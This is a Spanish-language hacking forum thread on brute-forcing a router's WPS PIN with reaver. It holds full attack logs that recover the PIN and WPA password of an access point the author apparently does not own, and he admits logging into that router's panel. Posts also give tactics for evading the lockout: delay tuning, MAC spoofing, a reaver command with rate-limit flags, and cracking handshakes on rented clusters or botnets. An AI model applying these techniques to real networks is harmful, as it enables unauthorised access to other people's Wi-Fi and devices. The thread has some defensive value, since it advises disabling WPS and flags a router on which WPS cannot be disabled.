[+] Received WSC NACK
[+] Sending WSC NACK
[+] p2_index set to 90

Ahora podemos ver como tras enviar el M4 recibimos el M5, tras lo que enviamos el segundo fragmento del PIN más la suma de verificación (Checksum). El AP nos responde con WSC NACK y reaver incrementa en 1 el índice p2_index (Puesto que p1_index aguanta la primera mitad del PIN).
Además ahora se prueban uno tras otro, por lo que entendemos que el AP bloquea la funcionabilidad WPS al recibir 10 M4 incorrectos, así que, habiendo descartado 10000 posibilidades, ya sólo nos quedan 1000 que se probarán sin límites de intento. En un par de horas conseguiré el PIN y, con el M7, la configuración WPA del AP.
Código: php
[+] p2_index set to 805
[+] Pin count advanced: 10805. Max pin attempts: 11000
[+] 98.23% complete. Elapsed time: 2d10h16m28s.
[+] Estimated Remaining time: 0d0h6m30s
[+] Trying pin 86337209.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 0d:3b:73:7f:da:b1:9a:08:19:c8:23:ab:0f:ba:b9:31
[P] PKE: c9:8f:e0:17:06:0f:85:89:ce:3c:71:4e:f5:66:4c:3c:35:e1:ce:d5:1f:29:53:8f:35:fd:a7:2c:2a:f5:bc:4b:5b:a0:91:fc:4c:73:11:db:61:19:82:8d:c6:70:30:1e:60:94:58:66:4e:61:5b:b5:1b:81:ef:11:87:46:db:80:9b:b6:bd:dc:e7:68:dd:3b:ef:39:04:fd:d6:fc:1f:34:08:5d:e1:36:c6:43:0a:63:c3:b1:47:f3:80:59:cb:1c:dc:0b:7c:9b:ae:c7:dd:83:af:15:24:ed:e4:bc:0d:a3:b5:d9:49:bd:91:91:a2:16:3e:5c:7b:21:ef:98:b9:9c:76:73:a0:9a:44:75:71:e6:f8:12:56:0d:10:7f:3d:46:bd:75:14:4d:9a:aa:7d:83:dc:d9:b4:f4:6a:00:24:3b:1f:dd:28:f1:7a:54:f7:ba:dd:a0:b7:f4:92:dd:de:99:2f:0d:66:84:b8:b3:de:a7:ac:bc:bd:ad:da:fe:79:53
[P] WPS Manufacturer: Broadcom
[P] WPS Model Name: Broadcom
[P] WPS Model Number: 123456
[P] Access Point Serial Number: 1234
[+] Received M1 message
[P] R-Nonce: 49:89:b5:e6:f0:52:68:f8:a8:fe:59:1a:5b:36:d9:c2
[P] PKR: 9b:a0:ae:21:30:f7:13:e3:7a:0d:f7:bc:6e:50:e6:f1:5c:bc:47:e7:9e:b1:b4:cb:fc:ff:b1:22:38:2d:1d:9b:4c:89:13:5b:f2:a2:75:9b:2b:e4:7b:93:1d:50:a9:04:51:82:9d:51:e7:0a:f9:82:bd:bd:ac:04:a7:c2:1e:5c:55:1b:d0:15:04:83:5b:85:9b:a8:35:29:47:c0:4d:f3:e0:e5:69:a4:57:fa:77:0d:b5:6d:76:e5:ec:6f:83:7b:68:f9:18:d3:2a:4a:0e:4e:79:c2:ae:d0:1e:db:ef:dd:83:63:0c:be:0f:38:4e:df:68:c7:c1:e2:8f:a6:98:50:23:66:b9:3e:35:ee:2e:1b:17:a7:29:18:6c:94:23:01:f5:b7:e2:b5:48:72:b3:1c:f0:63:ff:df:0a:27:be:ce:e6:11:c0:ba:8d:3d:c9:19:b0:cf:8c:b0:0b:59:f4:d8:c9:40:4a:5b:93:68:28:e0:30:c8:55:88:b9:31:42:61
[P] AuthKey: 24:04:09:5a:b0:94:5f:51:2a:3e:c4:1c:7b:18:44:4e:25:9a:20:5f:dc:57:5c:51:99:1f:af:cc:eb:e2:7d:f3
[+] Sending M2 message
[P] E-Hash1: 97:2e:6d:9c:4c:57:8f:0c:db:b9:8d:fd:69:6e:3b:a9:a6:c9:cd:16:d4:02:9b:c1:90:a5:d5:29:2e:d3:f7:df
[P] E-Hash2: 13:34:69:36:6c:e9:3b:c4:f8:2e:6d:53:1c:bc:2a:d4:c7:a6:62:df:ea:41:10:cd:93:26:a2:26:42:35:23:c2
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 209792 seconds
[+] WPS PIN: '86337209'
[+] WPA PSK: 'Underc0de'
[+] AP SSID: 'VodafoneFFFF'

En 2 días y 10 horas obtenemos el PIN correcto y con éste la configuración del AP sin haber hecho absolutamente nada.

Es cierto que hay métodos para paliar estos ataques, como el AP Rate Limit con el que nos encontramos aquí, bloqueándonos cada 10 intentos, que en realidad no solucionan gran cosa, porque si disponemos de tiempo podemos obtener la contraseña igual.

Protégete: Apaga el WPS de tu router.

Ahora, al margen de esto, a mí siempre costó amoldarme a las normas, así que no quiero pasar por el aro: Quiero mejorar el tiempo de mi ataque.

Elapsed time: 2d10h16m28s
Citar¿Podemos mejorarlo?
Ya lo creo que sí. Podemos mejorarlo bastante. Yo he conseguido mejorarlo a:
Código: php
[+] p2_index set to 804
[+] Pin count advanced: 10804. Max pin attempts: 11000
[+] Trying pin 86337209.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 66:c4:e9:b1:3c:5e:92:24:d8:89:0b:bf:9c:c1:de:c8
[P] PKE: 70:f6:c8:4f:b8:eb:f0:d4:ad:6b:2a:bc:f0:69:6d:1b:7d:d3:06:5a:69:47:85:54:00:af:75:b5:5f:44:55:01:51:30:71:06:9a:46:6a:aa:b1:bc:19:31:88:a0:78:de:26:7e:4c:6b:de:9b:43:b7:e9:7c:38:32:83:89:1d:9c:28:c3:af:69:d4:fc:3f:de:53:5a:8c:65:dd:ad:42:83:bd:68:87:0e:7c:ea:6b:12:ee:a5:a6:33:58:59:06:88:6e:b1:bf:57:c6:39:09:7b:bb:ac:c1:5b:5e:09:96:e1:22:2e:15:ff:4a:6c:5a:bb:6f:a3:46:82:e5:bd:2b:e1:37:b7:9b:bf:4a:3b:f0:9f:31:d0:a6:36:99:d0:84:83:08:c5:bb:dd:f1:f3:e6:67:5d:ed:85:94:bc:60:f5:06:cd:ec:69:29:9d:f3:16:93:33:b5:e4:e6:97:a6:37:be:23:94:ab:c0:d2:bc:54:89:e7:26:56:e1:f0:20:23:34
[P] WPS Manufacturer: Broadcom
[P] WPS Model Name: Broadcom
[P] WPS Model Number: 123456
[P] Access Point Serial Number: 1234
[+] Received M1 message
[P] R-Nonce: d7:ca:f8:46:fe:d0:87:4d:48:f0:75:6d:b3:0c:30:67
[P] PKR: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:02
[P] AuthKey: 68:da:45:35:44:6c:04:3f:79:f9:3f:a9:c5:d8:98:73:d7:85:f2:b4:89:93:8f:c4:41:1e:58:c7:7e:2b:75:34
[+] Sending M2 message
[P] E-Hash1: 3d:e6:ed:23:2b:4f:6b:c1:25:63:ae:ce:b3:67:32:bd:6f:a5:3a:96:47:69:bc:4f:6c:e7:b8:05:8b:3c:c5:be
[P] E-Hash2: 7b:26:87:8e:90:9c:c2:3a:46:04:37:6c:bb:00:3c:74:25:41:98:3c:7c:78:df:dd:dc:9c:17:53:0d:ba:f8:c0
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p2_index set to 805
[+] Pin count advanced: 10805. Max pin attempts: 11000
[+] 98.23% complete. Elapsed time: 0d20h55m50s.
[+] Estimated Remaining time: 0d0h52m0s
[+] Trying pin 31348034.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 10:06:3f:1c:c9:e5:72:8f:90:4e:42:78:d2:9c:75:f3
[P] PKE: 70:f6:c8:4f:b8:eb:f0:d4:ad:6b:2a:bc:f0:69:6d:1b:7d:d3:06:5a:69:47:85:54:00:af:75:b5:5f:44:55:01:51:30:71:06:9a:46:6a:aa:b1:bc:19:31:88:a0:78:de:26:7e:4c:6b:de:9b:43:b7:e9:7c:38:32:83:89:1d:9c:28:c3:af:69:d4:fc:3f:de:53:5a:8c:65:dd:ad:42:83:bd:68:87:0e:7c:ea:6b:12:ee:a5:a6:33:58:59:06:88:6e:b1:bf:57:c6:39:09:7b:bb:ac:c1:5b:5e:09:96:e1:22:2e:15:ff:4a:6c:5a:bb:6f:a3:46:82:e5:bd:2b:e1:37:b7:9b:bf:4a:3b:f0:9f:31:d0:a6:36:99:d0:84:83:08:c5:bb:dd:f1:f3:e6:67:5d:ed:85:94:bc:60:f5:06:cd:ec:69:29:9d:f3:16:93:33:b5:e4:e6:97:a6:37:be:23:94:ab:c0:d2:bc:54:89:e7:26:56:e1:f0:20:23:34
[P] WPS Manufacturer: Broadcom
[P] WPS Model Name: Broadcom
[P] WPS Model Number: 123456
[P] Access Point Serial Number: 1234
[+] Received M1 message
[P] R-Nonce: 91:db:4a:fb:35:b2:7e:66:dc:e3:6a:a5:6c:00:db:31
[P] PKR: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:02
[P] AuthKey: 17:13:53:db:0a:38:2e:25:8c:ad:9d:d7:55:a7:75:df:91:92:14:ff:ef:8b:e8:de:8e:02:aa:46:35:28:f3:0f
[+] Sending M2 message
[P] E-Hash1: a4:01:26:3c:70:2a:9b:82:ce:b5:92:c4:6d:3e:51:dd:c5:1b:cb:56:3d:f7:93:94:21:ee:30:ff:3b:27:f0:ba
[P] E-Hash2: 75:75:4c:d6:5e:a1:6b:4c:b5:a5:58:e2:b9:d7:f7:51:77:b8:75:84:0a:b1:4f:33:3d:cb:2d:f4:3e:e6:73:0a
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 75368 seconds
[+] WPS PIN: '86337209'
[+] WPA PSK: 'Underc0de'
[+] AP SSID: 'VodafoneFFFF'

real    1256m7.174s
user    1m37.880s
sys     2m21.980s

Citar
  • 98.23% complete. Elapsed time: 0d20h55m50s.

    real    1256m7.174s
    user    1m37.880s
    sys     2m21.980s
1256/60=20,93333333333333 horas (20 horas, 56 minutos)
He conseguido apurar el ataque hasta tardar unas 38 horas menos, lo cual no está nada mal.

Pero... ¿se podría mejorar más? ¿Cómo crees que lo conseguí yo? ¿Qué haríais vosotros? ¡IDEAS!¡IDEAS!¡IDEAS!¡IDEAS!¡IDEAS!¡IDEAS!¡IDEAS!
¡Participad, que estamos en una comunidad! Como demuestro en este post, para desbarrar me valgo solo, aquí vengo a hacerlo con más gente.

**
  by rand0m para Underc0de - Distribuido bajo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (Click para ver los detalles).
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

Hee, no se mucho de redes pero... ¿de alguna forma evitaste la restricción que sucedía cada 10 intentos?
"Eso es lo bueno de internet. De que sirve internet si chateas con tus vecinos??? para eso te sacas unas sillas al fresco y hablais y jugais a las cartas". @windux

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
¿de alguna forma evitaste la restricción que sucedía cada 10 intentos?
Vas por buen camino. ¿Cómo la podríamos saltar?
¿Alguna idea?
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

Agosto 08, 2015, 07:02:55 PM #3 Ultima modificación: Agosto 08, 2015, 07:45:31 PM por Cl0udswX
Antes de nada debo felicitarte con todas las de la ley!!

Muy buen post, muy bien explicado y muy bien investigado, gracias por la paciencia para prepararnos tan buen material hermano.

Para mejorar el rendimiento se me ocurren varias cosas:

1.- Mejorar la intensidad de la señal y evitar tiempo perdido por tramas descartadas.

2.- Suponiendo que el AP no esta oculto y sabemos de antemano el canal podríamos desactivar el Hopping y asi evitar perder tiempo valioso.

3.- Lo de limitar los intentos es algo mas o menos como una ley no escrita y la forma de hacerlo viene a ser como buscar el sabor secreto de una receta, es decir se va afinando la cantidad de intentos consecutivos entre PIN y PIN (si nos bloquea cada 10 intentos podríamos ajustarlo que solo haga 9) y el tiempo de espera antes de volver a iniciar el ataque (que depende del AP). Si encontramos el timing correcto podríamos superar el ratio de 1 PIN x Min.

No estoy del todo seguro (tendría que verificarlo), pero me parece que algunos "Vendors" deshabilitan WPS solamente a la estación que esta atacando el AP (Asi evitan ataques de DoS), para esto toman la dirección MAC del adaptador que esta disparando, asi que para estos casos podría hacerse un script que haga lo siguiente:

1.- Ataque normal sin modificar los temporizadores
2.- Al recibir el warning de que el AP ha bloqueado WPS guardar la sesion.
3.- Modificar la dirección MAC y cargar la sesión previamente guardada.
4.- Continuar con el ataque hasta conseguir que la primera parte del PIN deje de recibir ACK negativos.

Luego de aqui seria mas sencillo y rápido.

Saludos.

P.D

Actualmente me declare como ausente en el foro por asuntos de trabajo, de hecho fue @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta quien me obligo a la fuerza a entrar al foro para leerte, y debo decir con toda sinceridad que ha valido la pena, muy bien hecho @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y espero ver mas post como este, te dejo un 1+.

Tema fijado <Todo sobre auditoria redes wireless>.



El talento se parece al tirador que da en un blanco que los demás no pueden alcanzar; el genio se parece al tirador que da en un blanco que los demás no pueden ver.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
1.- Mejorar la intensidad de la señal y evitar tiempo perdido por tramas descartadas.
La intensidad de la señal está bloqueada por hormigón y larga distancia.
Eso de evitar tiempo perdido por tramas descartadas nunca lo había oído. ¿A qué te refieres?
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
2.- Suponiendo que el AP no esta oculto y sabemos de antemano el canal podríamos desactivar el Hopping y asi evitar perder tiempo valioso.
Sí, se ahorraría muchísimo tiempo. Conocer el canal de antemano y pasárselo a las herramientas mejora la eficiencia de los ataques, ya que nos evitamos "buscar por los canales" hasta encontrar el SSID. Se fija el canal y se espera el beacon.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
3.- Lo de limitar los intentos es algo mas o menos como una ley no escrita y la forma de hacerlo viene a ser como buscar el sabor secreto de una receta, es decir se va afinando la cantidad de intentos consecutivos entre PIN y PIN (si nos bloquea cada 10 intentos podríamos ajustarlo que solo haga 9) y el tiempo de espera antes de volver a iniciar el ataque (que depende del AP). Si encontramos el timing correcto podríamos superar el ratio de 1 PIN x Min.
¡Bingo! La diferencia entre el primer resultado y el segundo fue afinar los intentos consecutivos entre PIN y PIN poniéndole un delay de 15 segundos entre intento e intento. Está sin afinar, pero quería dejarlo en el tintero hasta que alguien lo destapase.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No estoy del todo seguro (tendría que verificarlo), pero me parece que algunos "Vendors" deshabilitan WPS solamente a la estación que esta atacando el AP (Asi evitan ataques de DoS), para esto toman la dirección MAC del adaptador que esta disparando, asi que para estos casos podría hacerse un script que haga lo siguiente:

1.- Ataque normal sin modificar los temporizadores
2.- Al recibir el warning de que el AP ha bloqueado WPS guardar la sesion.
3.- Modificar la dirección MAC y cargar la sesión previamente guardada.
4.- Continuar con el ataque hasta conseguir que la primera parte del PIN deje de recibir ACK negativos.
¡Bravo! Lo intenté, pero parece ser que los VH4032N que reparte Vodafone en España bloquean la respuesta a cualquier cliente. Literalmente "se cierra en el búnker" hasta pasados 10 minutos. Vulnerables a DoS (¿Denegar el servicio WPS? No es lo que se pueda considerar un ataque... ¿severo?)
PERO
Como buen vecino, una vez que tuve acceso accedí al panel de configuración del router para desactivar la función de WPS para protegerle de estos ataques me encontré con que el cliente no puede desactivar WPS en los VH4032N de Vodafone ES. No sé si podríamos catalogar esto como una vulnerabilidad grave a publicar. (Yo creo que sí)
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Actualmente me declare como ausente en el foro por asuntos de trabajo, de hecho fue @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta quien me obligo a la fuerza a entrar al foro para leerte, y debo decir con toda sinceridad que ha valido la pena, muy bien hecho @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y espero ver mas post como este, te dejo un 1+.

Tema fijado <Todo sobre auditoria redes wireless>.
Muchas gracias, me alegro de que tanto a WhiZ como a ti os guste.
Se requieren algunos conocimientos previos para entenderlo al 100%, pero con dudas, ideas y propuestas espero que el post se alargue (Las respuestas del estilo de "Gracias, buen aporte" y demás SPAMmean un poco el post. En vez de mirar desde lejos participa).
Así que, con una sonrisa, planteamos una pregunta importante:
¿Dudas? ¿Preguntas?
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

Agosto 08, 2015, 08:36:56 PM #5 Ultima modificación: Agosto 08, 2015, 08:42:51 PM por Cl0udswX
CitarLa intensidad de la señal está bloqueada por hormigón y larga distancia.Eso de evitar tiempo perdido por tramas descartadas nunca lo había oído. ¿A qué te refieres?

Cada intento de PIN es un intento de asociacion, y el intercambio son tramas de administracion que por problemas de distancia, frecuencias solapadas (teléfonos inhalanbricos, microondas, etc..) podrian "dañarse" recuerdas ese ultimo digito de "checksum", pues eso mismo, si el checksum no da valido se descarta y se debe reenviar y eso es tiempo.

En cuanto a lo de la intensidad yo considero que podria mejorarse usando antenas de mayor potencia y evitando las omnidireccionales (esto si sabemos con certeza donde esta el AP)

Citar¡Bravo! Lo intenté, pero parece ser que los VH4032N que reparte Vodafone en España bloquean la respuesta a cualquier cliente. Literalmente "se cierra en el búnker" hasta pasados 10 minutos. Vulnerables a DoS (¿Denegar el servicio WPS? No es lo que se pueda considerar un ataque... ¿severo?)

Pues dentro de lo que es DoS podria considerarse como una vulnerabilidad ya que al bloquear a cualquier cliente que quiera usar WPS le estaríamos negando el acceso, pero en el mundo real como que no es correcto considerarlo un ataque.

CitarComo buen vecino, una vez que tuve acceso accedí al panel de configuración del router para desactivar la función de WPS para protegerle de estos ataques me encontré con que el cliente no puede desactivar WPS en los VH4032N de Vodafone ES. No sé si podríamos catalogar esto como una vulnerabilidad grave a publicar. (Yo creo que sí)

La verdad esa parte si me preocupo bastante, es decir que el usuario no puede desactivar WPS  :o :o :o
Yo considero que si es una vulnerabilidad y deberían darle caña por twitter a los de la telefonica.

En mi pais tenemos una ISP que distribuia los puntos de acceso preconfigurados con WEP, el mismo passphrase para todos "tricombda2010" y el mismo nombre de AP, y aqui le hicimos una campaña fuerte por las redes sociales, enviamos correos, llamadas al soporte tecnico y al final cambiaron esa practica.

@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta hermano, los comentarios tipo "Gracias buen aporte" son quizas la forma de algunos subir el contador de mensajes, pero existen otros que a pesar de no entender completamente tu aporte igual se sienten agradecidos por tu tiempo, asi que no les limites.

Les invito a todos a preguntar y aportar nuevas formas de afinar el ataque.

Un abrazo y muy bien hecho.



El talento se parece al tirador que da en un blanco que los demás no pueden alcanzar; el genio se parece al tirador que da en un blanco que los demás no pueden ver.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
[¿Qué haríais vosotros?

  by rand0m para Underc0de - Distribuido bajo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (Click para ver los detalles).
Si me fuera la vida en ello y tubiera poco tiempo yo robaria el 4-way handshake spoofeando y crackearia la pass con algun ring de computadores en cluster. Puedes alquilar un super-cluster de pc's por unos 20 dolares el minuto. Y para crackear una wpa de un domicilio o un negocio dude que tarde más de medio minuto.  Así que si es tan urgente...  10 dólares y la tienes. En caso de tener una botnet te los ahorras...

Salu2



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
[¿Qué haríais vosotros?

  by rand0m para Underc0de - Distribuido bajo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (Click para ver los detalles).
Si me fuera la vida en ello y tubiera poco tiempo yo robaria el 4-way handshake spoofeando y crackearia la pass con algun ring de computadores en cluster. Puedes alquilar un super-cluster de pc's por unos 20 dolares el minuto. Y para crackear una wpa de un domicilio o un negocio dude que tarde más de medio minuto.  Así que si es tan urgente...  10 dólares y la tienes. En caso de tener una botnet te los ahorras...

Salu2

Podria ser, pero recuerda que encontrar el hash valido no es simplemente potencia de procesamiento, imagina un passphrasse que no este en ningun diccionario... Podrías tener todo el poder de procesamiento y nunca darias con el valido.

Otro punto a tener en cuenta es que a cierto punto romper la seguridad de una red inalambrica es un asunto de desafiarse a uno mismo, ya que a estas alturas considero que la mayoria de las personas pueden pagar al ISP y capturar el HS y pasarlo a algun cluster de pago para que rompa por nosotros como que esta medio chungo.

Y la principal de las razones por las que yo no lo haria asi es que sencillamente no se aprende nada.

Pero igual sigue siendo una opcion valida al momento de vulnerar la seguridad.

Saludos hermanos.
El talento se parece al tirador que da en un blanco que los demás no pueden alcanzar; el genio se parece al tirador que da en un blanco que los demás no pueden ver.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Cada intento de PIN es un intento de asociacion, y el intercambio son tramas de administracion que por problemas de distancia, frecuencias solapadas (teléfonos inhalanbricos, microondas, etc..) podrian "dañarse" recuerdas ese ultimo digito de "checksum", pues eso mismo, si el checksum no da valido se descarta y se debe reenviar y eso es tiempo.
En realidad el checksum se envía junto a los 3 últimos dígitos del PIN, así que se envía con el M6. Mientras estamos probando la primera mitad el checksum no llega a enviarse. Sólo es un cálculo en base a los otros 7 dígitos.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta hermano, los comentarios tipo "Gracias buen aporte" son quizas la forma de algunos subir el contador de mensajes, pero existen otros que a pesar de no entender completamente tu aporte igual se sienten agradecidos por tu tiempo, asi que no les limites.
A mi parecer, si no aportan dudas o material al post son spam que sólo engrosa el número de mensajes enviados. La gente que realmente me alegra no es quien da las gracias, sino quien demuestra interés. No pretendo limitar, sino que cuando alguien tenga dudas siga leyendo el post, a ver si alguien ya lo planteó y se le respondió.
Es incómodo buscar respuestas entre "spam de gratitud". Creo que en eso estamos todos de acuerdo.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Si me fuera la vida en ello y tubiera poco tiempo yo robaria el 4-way handshake spoofeando y crackearia la pass con algun ring de computadores en cluster. Puedes alquilar un super-cluster de pc's por unos 20 dolares el minuto. Y para crackear una wpa de un domicilio o un negocio dude que tarde más de medio minuto.  Así que si es tan urgente...  10 dólares y la tienes. En caso de tener una botnet te los ahorras...
Estamos atacando por fuerza bruta al WPS. Lo que comentas no tiene nada que ver. También podríamos haber probado el método del EvilTwin, pero como bien nos indica el título del post y las 300 líneas que le siguen: Atacando por fuerza bruta contra Wi-Fi Protected Setup (WPS)
La pregunta a la que estás respondiendo es:
Citar¿se podría mejorar más? ¿Cómo crees que lo conseguí yo? ¿Qué haríais vosotros?
Sería como responder: "Entrar cuando no está y conectarme por cable LAN, acceder a 192.168.0.1 y ver la contraseña".
Terminaría en menos de 5 minutos, pero se saldría de la temática del post.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Y la principal de las razones por las que yo no lo haria asi es que sencillamente no se aprende nada.
Amén a eso. Se sale de la temática del post. Los crackeados de handshake se llevan haciendo desde hace demasiados años como para que me centre ahora en ese tipo de ataque.
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

CitarEn realidad el checksum se envía junto a los 3 últimos dígitos del PIN, así que se envía con el M6. Mientras estamos probando la primera mitad el checksum no llega a enviarse. Sólo es un cálculo en base a los otros 7 dígitos.

Tienes razon se me cruzaron los terminos, a lo que me refiero con lo de que si se mejora la intensidad se mejora la velocidad de ataque es que a mayor distancia las tramas que se envian (Beacon_Frame) se dañan con mas frecuencia y entonces existe un campo en la trama de administracion 802.11 (intentos de pin) que se llama FCS (FrameCheckSecuency) y si la trama esta dañada simplemente se descarta y se espera el reenvio de la misma. Esto pasa de forma invisible para la aplicacion (capa 7) pero a nivel de enlace de datos (capa 2) se pierde tiempo.

En resumen a mejor distancia, mejor ataque, mas eficiencia, mas rapidez.
El talento se parece al tirador que da en un blanco que los demás no pueden alcanzar; el genio se parece al tirador que da en un blanco que los demás no pueden ver.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
A mayor distancia las tramas que se envian (Beacon_Frame) se dañan con mas frecuencia y entonces existe un campo en la trama de administracion 802.11 (intentos de pin) que se llama FCS (FrameCheckSecuency) y si la trama esta dañada simplemente se descarta y se espera el reenvio de la misma. Esto pasa de forma invisible para la aplicacion (capa 7) pero a nivel de enlace de datos (capa 2) se pierde tiempo.
Vale, ahora lo entendí.
Lamentablemente no sé cómo podríamos meter mano a tan bajo nivel a través de reaver. Lo único que se me ocurre es escribir un nuevo script con algún manipulador de paquetes como No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

CitarVale, ahora lo entendí.
Lamentablemente no sé cómo podríamos meter mano a tan bajo nivel a través de reaver. Lo único que se me ocurre es escribir un nuevo script con algún manipulador de paquetes como Scapy.

No podriamos meter mano a ese nivel ni con Scapy ya que ese funcionamiento es parte del estandar 802.11 y para modificar eso esta dificil, es decir si la trama se daño, se descartara, lo unico que podemos hacer es a base hardware aumentar la potencia con la que disparamos (mejores antenas) ó podriamos acercarnos un poco al AP.
El talento se parece al tirador que da en un blanco que los demás no pueden alcanzar; el genio se parece al tirador que da en un blanco que los demás no pueden ver.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Si la trama se daño, se descartara, lo unico que podemos hacer es a base hardware aumentar la potencia con la que disparamos (mejores antenas) ó podriamos acercarnos un poco al AP.
Bueno, la verdad es que tengo redes con mejor recepción, pero quise complicarme un poco. Capricho mío.
En realidad debemos tener muy en cuenta algo que se menciona en el post y que debe tenerse siempre en consideración:
CitarCon una señal de -71dBm vamos mal. Para este tipo de ataques lo recomendable es tener al menos -65dBm, pero aquí estamos buscando problemas a los que enfrentarnos.
Desgraciadamente mi tarjeta WiFi con una antena longshine de 10dbi no conseguía nada mejor y mi portátil no tiene batería (Es un AIRIS N930 que recogí de un punto limpio), así que no lo pude mover demasiado lejos de un enchufe.
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

Ayuda con este tema... he realizado el ataque a este equipo broadcom model 123456 con reaver 1.5 con el siguiente comando para que no bloquee el equipo con buenos resultados. Reaver -i wlan0 -c x -b xx:xx:xx:xx:xx:xx -r 2:61 -vv  Y envía pin sin problemas. Cuando se me presenta el siguiente dilema se queda probando todos los pin y después de 5 días quedó en 90.9% . Me baje de versión reaver 1.3 para usar el comprobador de checksum y nada vuelvo a quedar en ese famoso bucle de 90.91%. AQue se debe ya que el router está a 15 mts. Agradecería ayuda y comentarios.

Julio 30, 2016, 05:41:50 PM #14 Ultima modificación: Julio 30, 2016, 11:04:25 PM por rand0m
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Cuando se me presenta el siguiente dilema se queda probando todos los pin y después de 5 días quedó en 90.9% . Me baje de versión reaver 1.3 para usar el comprobador de checksum y nada vuelvo a quedar en ese famoso bucle de 90.91%.
En primer lugar perdón por tardar. Estuve ausente muchísimo tiempo, pero sí que me parece que ésto merece una respuesta.
Sobre todo nos ayudaría el parámetro -vv (very verbose) para saber qué está pasando.
¿El progreso sube rápidamente de 0.00% a 90.9%? Puede ser debido a que nos rompe el esquema. Recapitulemos:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Para entender cómo funciona el proceso leemos el paper de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (LECTURA OBLIGATORIA RECOMENDADA). Otra lectura muy interesante para entender el mecanismo de WPS es la explicación que dan en el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

En el paper, que sólo son 9 páginas con muchísimas tablas (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta), se puede ver que el PIN en realidad no es un PIN de 8 dígitos, sino que consta de 2 partes:

       
  • Primera parte del PIN (4 primeros dígitos)
  • Segunda parte del PIN (3 siguientes dígitos + suma de verificación (Checksum))
Esta mala implementación hace que en vez de enfrentarnos a un PIN de 8 dígitos nos enfrentamos a uno de 4 y uno de 3. Todo ésto es muy importante ya que desmonta completamente las matemáticas del sistema de seguridad. Hagamos los números:

Si contamos con un sistema de 10 dígitos (0-9) las diferentes posibilidades se elevan exponencialmente al número de dígitos. Ésto nos pone, en caso de tener un PIN de 8 dígitos, en:
10·(107) = 100000000 posibilidades
Haría falta tanto tiempo para conseguir el PIN que el ataque podría tardar varios años. Inviable.
Pero si tenemos un PIN de 4 dígitos y otro de 3 la cosa cambia mucho:
10·(103) = 10000 posibilidades
